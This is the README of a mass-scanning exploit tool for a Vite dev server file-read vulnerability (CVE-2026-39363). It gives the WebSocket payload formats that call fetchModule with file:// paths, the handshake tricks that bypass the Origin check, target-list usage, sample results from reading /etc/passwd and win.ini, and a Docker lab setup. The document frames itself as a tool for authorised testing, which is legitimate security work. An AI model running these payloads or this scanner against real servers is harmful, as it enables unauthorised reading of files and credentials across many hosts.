
Batch vulnerability scanner for CVE-2026-39363 in Vite dev server, exploiting WebSocket origin validation bypass to read arbitrary files via fetchModule with file:// protocol.
免责声明: 本工具仅用于授权的安全测试和教育研究。使用者应遵守当地法律法规,未经授权扫描或攻击他人系统属于违法行为。作者不对任何滥用行为承担责任。
Vite 开发服务器(6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4)的 HMR WebSocket 未校验 Origin 头,攻击者可通过 vite:invoke 事件调用 fetchModule,使用 file:// 协议配合 ?raw 参数绕过 server.fs.allow 限制,读取服务器任意文件。
url.txt → http://host:port
↓ 解析 host + port
↓
┌─ Step 1: 尝试 ws://host:给定端口
│ ├─ WebSocket 握手成功 + exploit 成功 → 存在漏洞
│ └─ 失败 → 如果给定端口 == 5173 → 不存在漏洞
│
└─ Step 3: 探测 host:5173(仅当给定端口 ≠ 5173)
├─ 端口关闭 → 不存在漏洞
└─ 端口开放 → WebSocket 握手 + exploit 在 5173 上
├─ 成功 → 存在漏洞
└─ 失败 → 不存在漏洞
pip install -r requirements.txt
要开启代理取消脚本26-27行的注释即可
# 要开启代理的话,取消下面两行注释,并设置正确的代理地址和端口
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
在 url.txt 中写入目标 URL,每行一个:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
终端:
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
result.txt:
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
每行包含 POC 类型 (
Linux/Windows),标识成功读取到的文件特征。
| 目标系统 | 读取文件 | 特征标记 |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
支持两种 payload 格式(按顺序尝试):
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| 参数 | 值 | 原因 |
|---|---|---|
| 子协议 | vite-hmr | Vite HMR WebSocket 要求 |
| Origin | 抑制发送 (suppress_origin=True) | Vite 拒绝带 Origin 头的非浏览器连接 |
# 启动
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# 扫描
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# 清理
docker stop vite-vuln && docker rm vite-vuln
Q: 所有检测都返回"不存在漏洞"?
--host 或 server.host 暴露到网络WebSocket 未被 server.ws: false 禁用Q: Windows 下输出乱码?
Q: PowerShell 生成的 url.txt 无法解析?
utf-8-sig 自动跳过 BOM